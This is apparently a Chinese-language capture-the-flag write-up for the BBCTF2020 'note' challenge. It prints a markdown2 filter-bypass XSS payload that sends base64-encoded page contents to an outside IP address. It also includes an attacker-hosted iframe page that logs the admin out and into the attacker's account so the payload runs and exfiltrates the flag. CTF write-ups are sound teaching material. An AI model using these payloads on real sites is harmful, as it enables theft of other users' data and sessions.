[BBCTF2020]note

[BBCTF2020]note

知识点

  • Filter bypass leading to XSS #341

    解题步骤

    说是有源码,但是buu没有,大家可以看大佬的wp分析:https://www.gem-love.com/ctf/2254.html
    先创建一个帐号,然后登录进去。然后绕过markdown2的html标签过滤,在输入框输入:
    <http://g<!s://q?<!-<[<script>location.href='http://47.96.173.16:2333?q='+btoa(top.adminframe.document.body.innerHTML);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>hoge;/*](http://g)->a>,点击更新。可以看到插入了script:


    然后在自己的vps上写一个index.html:

    <html>
    <head>
    <script>
    function sleep(waitMsec){
    var startMsec = new Date();
    while (new Date() - startMsec < waitMsec);
    }
    window.addEventListener('load', function() {
    var adminframe = document.createElement("iframe");
    adminframe.name = "adminframe";
    adminframe.src = "http://127.0.0.1:8000/profile";
    var body = document.querySelector("body");
    body.appendChild(adminframe);
    sleep(3000);
    var logoutframe = document.createElement("iframe");
    logoutframe.src = "http://127.0.0.1:8000/logout";
    body.appendChild(logoutframe);
    sleep(3000);
    var loginframe = document.createElement("iframe");
    loginframe.src = "http://127.0.0.1:8000/login?username=asd&password=asd";
    body.appendChild(loginframe);
    }, false);
    </script>
    </head>
    </html>

    username和password为自己创建的帐号密码。我分析了一下这个html,这个sleep的意思wp里面有详细解释,就是防止还没加载完script脚本,连接就直接关闭了。然后这里创建了3个iframe窗口,第一个是admin的登录之后的窗口(有flag),第二个是为了让admin触发退出登录的窗口,第三个是触发admin登录我们的账户,然后加载到我们之前在/profile里面插入的script命令,这样,就可以把admin的/profile界面带出来。在vps上监听2333端口:


    然后将其base64解密即可找到flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇